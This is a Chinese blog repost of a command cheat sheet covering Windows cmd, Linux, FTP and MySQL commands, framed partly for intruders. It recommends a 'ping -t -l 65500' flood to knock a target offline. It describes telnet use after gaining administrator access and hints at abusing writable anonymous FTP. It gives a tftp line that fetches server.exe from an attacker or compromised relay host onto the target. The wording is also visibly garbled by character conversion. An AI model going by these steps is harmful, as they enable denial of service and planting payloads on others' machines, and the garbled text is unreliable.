Win7Excuting訂單
win+R。運作該快捷方式。下面3一個人必須知道:
ping 它是用來檢查網絡是否通暢或者網絡連接配接速度的指令。
作為一個生活在網絡上的管理者或者黑客來說,ping指令是第一個必須掌握的DOS指令,它所利用的原理是這種:網絡上的機器都有唯一确定的IP位址,我們給目标IP位址發送一個資料包。對方就要傳回一個相同大小的資料包。依據傳回的資料包我們能夠确定目标主機的存在,能夠初步推斷目标主機的作業系統等。
以下就來看看它的一些經常使用的操作。先看看幫助吧,在DOS窗體中鍵入:ping /? 回車。。所看到的的幫助畫面。在此,我們僅僅掌握一些主要的非常實用的參數就能夠了(下同)。 -t 表示将不間斷向目标IP發送資料包。直到我們強迫其停止。試想,假設你使用100M的寬帶接入,而目标IP是56K的小貓,那麼要不了多久。目标IP就由于承受不了這麼多的資料而掉線,呵呵,一次攻擊就這麼簡單的實作了。 -l 定義發送資料包的大小,默覺得32位元組,我們利用它能夠最大定義到65500位元組。結合上面介紹的-t參數一起使用,會有更好的效果哦。 -n 定義向目标IP發送資料包的次數。默覺得3次。假設網絡速度比較慢,3次對我們來說也浪費了不少時間。由于如今我們的目的不過推斷目标IP是否存在,那麼就定義為一次吧。
說明一下,假設-t 參數和 -n參數一起使用。ping指令就以放在後面的參數為标準。比方"ping IP -t -n 3",盡管使用了-t參數。但并非一直ping下去,而是僅僅ping 3次。另外,ping指令不一定非得ping IP,也能夠直接ping主機域名,這樣就能夠得到主機的IP。 以下我們舉個樣例來說明一下詳細使用方法。
這裡time=2表示從發出資料包到接受到傳回資料包所用的時間是2秒。從這裡能夠推斷網絡連接配接速度的大小 。從TTL的傳回值能夠初步推斷被ping主機的作業系統,之是以說"初步推斷"是由于這個值是能夠改動的。
這裡TTL=32表示作業系統可能是win98。 (小知識:假設TTL=128,則表示目标主機可能是Win2000;假設TTL=250,則目标主機可能是Unix) 至于利用ping指令能夠高速查找區域網路故障,能夠高速搜尋最快的QQserver。能夠對别人進行ping攻擊……這些就靠大家自己發揮了。
ftp 大家對這個指令應該比較熟悉了吧?網絡上開放的ftp的主機非常多,當中非常大一部分是匿名的。也就是說不論什麼人都能夠登陸上去。如今假設你掃到了一台開放ftp服務的主機(一般都是開了21port的機器),假設你還不會使用ftp的指令怎麼辦?以下就給出主要的ftp指令用法。
首先在指令行鍵入ftp回車,出現ftp的提示符,這時候能夠鍵入"help"來檢視幫助(不論什麼DOS指令都能夠使用此方法檢視其幫助)。 大家可能看到了,這麼多指令該怎麼用?事實上也用不到那麼多,掌握幾個主要的就夠了。 首先是登陸過程。這就要用到open了。直接在ftp的提示符下輸入"open 主機IP ftpport"回車就可以,一般port預設都是21,能夠不寫。
接着就是輸入合法的username和password進行登陸了,這裡以匿名ftp為例介紹。 username和password都是ftp,password是不顯示的。當提示**** logged in時,就說明登陸成功。這裡由于是匿名登陸,是以使用者顯示為Anonymous。
接下來就要介紹詳細指令的用法了。 dir 跟DOS指令一樣,用于檢視server的檔案,直接敲上dir回車。就能夠看到此ftpserver上的檔案。 cd 進入某個目錄。
get 下載下傳檔案到本地機器。
put 上傳檔案到遠端server。這就要看遠端ftpserver是否給了你可寫的權限了,假設能夠,呵呵,該怎麼 利用就不多說了,大家就自由發揮去吧。 delete 删除遠端ftpserver上的檔案。這也必須保證你有可寫的權限。 bye 退出目前連接配接。 quit 同上。
telnet 功能強大的遠端登陸指令。差點兒全部的入侵者都喜歡用它。屢試不爽。為什麼?它操作簡單。如同使用自己的機器一樣。僅僅要你熟悉DOS指令,在成功以administrator身份連接配接了遠端機器後。就能夠用它來幹你想幹的一切了。以下介紹一下用法。首先鍵入telnet回車,再鍵入help檢視其幫助資訊。
然後在提示符下鍵入open IP回車,這時就出現了登陸窗體。讓你輸入合法的username和password,這裡輸入不論什麼password都是不顯示的。
當輸入username和password都正确後就成功建立了telnet連接配接。這時候你就在遠端主機上具有了和此使用者一樣的權限,利用DOS指令就能夠實作你想幹的事情了。這裡我使用的超級管理者權限登陸的。
其它的還有:
shutdown-------60秒倒計時關機指令
notepad--------打開記事本
calc-----------啟動電腦
taskmgr-----任務管理器(2000/xp/2003)
write----------寫字闆
mspaint--------繪圖闆
mstsc----------遠端桌面連接配接
cmd.exe--------CMD指令提示符
netstat -a 檢視開啟了哪些port,經常使用netstat -an
netstat -n 檢視port的網絡連接配接情況。經常使用netstat -an

ping ip(或域名) 向對方主機發送預設大小為32位元組的資料,參數:“-l[空格]資料包大小”。“-n發送資料次數”。“-t”指一直ping。
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)檢視本地ip位址。ipconfig可用參數“/all”顯示所有配置資訊
telnet ip port 遠和登陸server,預設port為23
open ip 連接配接到IP(屬telnet登陸後的指令)
telnet 在本機上直接鍵入telnet 将進入本機的telnet
copy 路徑檔案名稱1 路徑檔案名稱2 /y 拷貝檔案1到指定的檔案夾為檔案2,用參數/y就同一時候取消确認你要改寫一份現存檔案夾檔案
xcopy 要複制的檔案或檔案夾樹 目标位址檔案夾名 拷貝檔案和檔案夾樹。用參數/Y将不提示覆寫同樣檔案
用參數/e才可連檔案夾下的子檔案夾一起拷貝到目标位址下。
tftp -i 自己IP(用肉機作跳闆時這用肉機IP) get server.exe c:server.exe 登陸後,将“IP”的server.exe下載下傳到目标主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe檔案時用,如不加-i 則以 ASCII模式(傳送文本檔案模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip port 用于上傳檔案至server或進行檔案操作。預設port為21。
bin指用二進制方式傳送(可運作檔案進)。默覺得ASCII格式傳送(文本檔案時)
dir 檢視檔案,參數:/Q顯示檔案及檔案夾屬系統哪個使用者,/T:C顯示檔案建立時間,/T:A顯示檔案上次被訪問時間,/T:W上次被改動時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”将僅僅顯示目前日期和時間,而不必輸入新日期和時間
set 指定環境變量名稱=要指派給變量的字元 環境變量設定
set 顯示目前全部的環境變量
set p(或其他字元) 顯示出目前以字元p(或其他字元)開頭的全部環境變量
echo 資訊 在螢幕上顯示出資訊
find 檔案名稱 查找某檔案
title 标題名字 更改CMD窗體标題名字
color 顔色值 設定cmd控制台前景和背景顔色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的指令提示符(把C:、D:統一改為:EntSky )
md 檔案夾名 建立檔案夾
replace 源檔案 要替換檔案的檔案夾 替換檔案
tree 以樹形結構顯示出檔案夾,用參數-f 将列出第個檔案夾中檔案名
type 檔案名稱 顯示文本檔案的内容
more 檔案名稱 逐屏顯示輸出檔案
taskmgr 調出任務管理器
win2003系統下新增指令(有用部份):
shutdown /參數 關閉或重新啟動本地或遠端主機。
參數說明:/S 關閉主機,/R 重新啟動主機, /T 數字 設定延時的時間。範圍0~180秒之間, /A取消開機。/M //IP 指定的遠端主機。 例:shutdown /r /t 0 馬上重新啟動本地主機(無延時)
tasklist 顯示目前執行在本地和遠端主機上的程序、服務、服務各程序的程序辨別符(PID)。
參數說明:/M 列出目前程序載入的dll檔案。/SVC 顯示出每一個程序相應的服務,無參數時就僅僅列出目前的程序。
Linux系統下基本指令 注:要區分大寫和小寫
uname 顯示版本号資訊(同win2K的 ver)
dir 顯示目前檔案夾檔案,ls -al 顯示包含隐藏檔案(同win2K的 dir)
pwd 查詢目前所在的檔案夾位置
cd cd ..回到上一層檔案夾。注意cd 與..之間有空格。
cd /傳回到根檔案夾。
cat 檔案名稱 檢視檔案内容
cat >abc.txt 往abc.txt檔案裡寫上内容。
more 檔案名稱 以一頁一頁的方式顯示一個文本檔案。
cp 拷貝檔案
mv 移動檔案
rm 檔案名稱 删除檔案,rm -a 檔案夾名删除檔案夾及子檔案夾
mkdir 檔案夾名 建立檔案夾
rmdir 删除子檔案夾。檔案夾内沒有文檔。
chmod 設定檔案或檔案夾的存取權限
grep 在檔案中查找字元串
diff 檔案檔案比較
find 檔案搜尋
date 如今的日期、時間
who 查詢眼下和你使用同一台機器的人以及Login時間地點
w 查詢眼下上機者的具體資料
whoami 檢視自己的帳号名稱
groups 檢視某人的Group
passwd 更改password
history 檢視自己下過的指令
ps 顯示程序狀态
kill 停止某程序
gcc 黑客通經常使用它來編譯C語言寫的檔案
su 權限轉換為指定使用者
telnet IP telnet連接配接對方主機(同win2K),當出現bash$時就說明連接配接成功。
ftp ftp連接配接上某server(同win2K)
FTP指令
無論是在linux系統中還是在window系統中,FTP指令都是非常重要的。
以下我具體的整理了一份FTP指令,前16個最為經常使用。
FTP的指令行格式為:
ftp -v -d -i -n -g [主機名] ,當中
-v 顯示遠端server的全部響應資訊
-n 限制ftp的自己主動登入。即不使用。.n etrc檔案;
-d 使用調試方式;
-g 取消全局檔案名稱。
FTP使用的内部指令例如以下(中括号表示可選項):
最為經常使用的有例如以下:
01.cd remote-dir:進入遠端主機檔案夾。
02.cdup:進入遠端主機檔案夾的父檔案夾。
03.pwd:顯示遠端主機的目前工作檔案夾。
04.lcd[dir]:将本地工作檔案夾切換至dir。
05.dir[remote-dir][local-file]:顯示遠端主機檔案夾。并将結果存入本地檔案。
06.ls[remote-dir][local-file]:顯示遠端檔案夾remote-dir, 并存入本地檔案local-file。
07.delete remote-file:删除遠端主機檔案。
08.get remote-file[local-file](下載下傳):将遠端主機的檔案remote-file傳至本地硬碟的local-file。
09.put local-file[remote-file](上傳):将本地檔案local-file傳送至遠端主機。
10.mget remote-files:傳輸多個遠端檔案。
11.mput local-file:将多個檔案傳輸至遠端主機。
12.prompt:設定多個檔案傳輸時的互動提示。
13.bin:使用二進制檔案傳輸方式。
14.close:中斷與遠端server的ftp會話(與open相應)。
15.quit:同bye。退出ftp會話。
其它的還包含:
![cmd[args]]:在本地機中運作互動shell。exit回到ftp環境,如:!ls*.zip
.$ macro-ame[args]: 運作宏定義macro-name。
account[password]: 提供登入遠端系統成功後訪問系統資源所需的補充密碼。
append local-file[remote-file]:将本地檔案追加到遠端系統主機,若未指定遠端系統檔案名稱,則使用本地檔案名稱。
ascii:使用ascii類型傳輸方式。
bell:每一個指令運作完成後計算機響鈴一次。
case:在使用mget時。将遠端主機檔案名稱中的大寫轉為小寫字母。
chmod mode file-name:将遠端主機檔案file-name的存取方式設定為mode,如:chmod 777 a.out。
cr:使用asscii方式傳輸檔案時,将回車換行轉換為回行。
debug[debug-value]:設定調試方式, 顯示發送至遠端主機的每條指令,如:deb up 3,若設為0,表示取消debug。
disconnection:同close。
form format:将檔案傳輸方式設定為format,預設為file方式。
glob:設定mdelete,mget,mput的檔案名稱擴充。預設時不擴充檔案名稱。同指令行的-g參數。
hash:每傳輸1024位元組,顯示一個hash符号(#)。
help[cmd]:顯示ftp内部指令cmd的幫助資訊。如:help get。
idle[seconds]:将遠端server的休眠計時器設為[seconds]秒。
image:設定二進制傳輸方式(同binary)。
macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
mdelete[remote-file]:删除遠端主機檔案。
mdir remote-files local-file:與dir類似,但可指定多個遠端檔案,如 :mdir *.o.*.zipoutfile 。
mkdir dir-name:在遠端主機中建一檔案夾。
mls remote-file local-file:同nlist,但可指定多個檔案名稱。
mode[modename]:将檔案傳輸方式設定為modename, 預設為stream方式。
modtime file-name:顯示遠端主機檔案的最後改動時間。
newer file-name: 假設遠端機中file-name的改動時間比本地硬碟同名檔案的時間更近,則重傳該檔案。
nlist[remote-dir][local-file]:顯示遠端主機檔案夾的檔案清單,并存入本地硬碟的local-file。
nmap[inpattern outpattern]:設定檔案名稱映射機制, 使得檔案傳輸時,檔案裡的某些字元互相轉換。 如:nmap $1.$2.$3[$1。$2].[$2,$3],則傳輸檔案a1.a2.a3時,檔案名稱變為a1。a2。 該指令特别适用于遠端主機為非UNIX機的情況。
ntrans[inchars[outchars]]:設定檔案名稱字元的翻譯機制,如ntrans1R,則檔案名稱LLL将變為RRR。
open host[port]:建立指定ftpserver連接配接。可指定連接配接端口。
passive:進入被動傳輸方式。
proxy ftp-cmd:在次要控制連接配接中,運作一條ftp指令, 該指令同意連接配接兩個ftpserver,以在兩個server間傳輸檔案。
第一條ftp指令必須為open。以首先建立兩個server間的連接配接。
quote arg1,arg2...:将參數逐字發至遠端ftpserver,如:quote syst.
recv remote-file[local-file]:同get。
reget remote-file[local-file]:類似于get, 但若local-file存在,則從上次傳輸中斷處續傳。
rhelp[cmd-name]:請求獲得遠端主機的幫助。
rstatus[file-name]:若未指定檔案名稱,則顯示遠端主機的狀态, 否則顯示檔案狀态。
rename[from][to]:更改遠端主機檔案名稱。
reset:清除回答隊列。
restart marker:從指定的标志marker處。又一次開始get或put,如:restart 130。
rmdir dir-name:删除遠端主機檔案夾。
runique:設定檔案名稱僅僅一性存儲,若檔案存在,則在原檔案後加字尾.1, .2等。
send local-file[remote-file]:同put。
sendport:設定PORT指令的使用。
site arg1,arg2...:将參數作為SITE指令逐字發送至遠端ftp主機。
size file-name:顯示遠端主機檔案大小,如:site idle 7200。
status:顯示目前ftp狀态。
struct[struct-name]:将檔案傳輸結構設定為struct-name, 預設時使用stream結構。
sunique:将遠端主機檔案名稱存儲設定為僅僅一(與runique相應)。
system:顯示遠端主機的作業系統類型。
tenex:将檔案傳輸類型設定為TENEX機的所需的類型。
tick:設定傳輸時的位元組計數器。
trace:設定包跟蹤。
type[type-name]:設定檔案傳輸類型為type-name,預設為ascii。如:type binary,設定二進制傳輸方式。
umask[newmask]:将遠端server的預設umask設定為newmask。如:umask 3
user user-name[password][account]:向遠端主機表明自己的身份。須要密碼時,必須輸入密碼。如:user anonymous my@email。
verbose:同指令行的-v參數,即設定詳盡報告方式。ftp server的全部響 應都将顯示給使用者。預設為on.
MYSQL指令
首先要想使用mysql的指令。必須将mysql的bin檔案夾加入到path變量裡面去。我個人比較喜歡使用wamp這套內建mysql的內建工具。這個工具非常友善非常好使用的,并且也自帶着指令窗體的。我加入C:\wamp\bin\mysql\mysql5.6.17\bin了到path裡面去,這樣子就能夠在CMD窗體裡面使用mysql指令了。
連接配接MYSQL有2種方式(假設剛安裝好MYSQL。超級使用者root是沒有password的,普通情況下使用自己電腦裡面的mysql。直接敲mysql即可):
1,mysql -h 主機位址 -u username -p password;(例:mysql -h 127.0.0.1 -u root -p)
2,mysql -p password -u username -h 主機位址。(例:mysql -p -u root -h 127.0.0.1)
(注意:u與root能夠不用加空格,其他也一樣)
退出MYSQL非常easy:exit 或者 quit
以下這些就是經常使用的sql語句,以後會在整理資料庫的時候做具體的介紹,這裡不多贅述了。
mysqladmin -uusername -p舊password password 新password 改動password
show databases; 顯示資料庫清單。剛開始時才兩個資料庫:mysql和test。mysql庫非常重要它裡面有MYSQL的系統資訊。我們改password和新增使用者,實際上就是用這個庫進行操作。
use mysql。
show tables; 顯示庫中的資料表
describe 表名; 顯示資料表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (現場設定清單); 建表
drop database 庫名;
drop table 表名。 删除庫和删除表
delete from 表名; 表中的空的記錄
select * from 表名; 表中顯示的記錄
<b>本文轉自mfrbuaa部落格園部落格,原文連結:</b><b>http://www.cnblogs.com/mfrbuaa/p/5044064.html</b><b>,如需轉載請自行聯系原作者</b>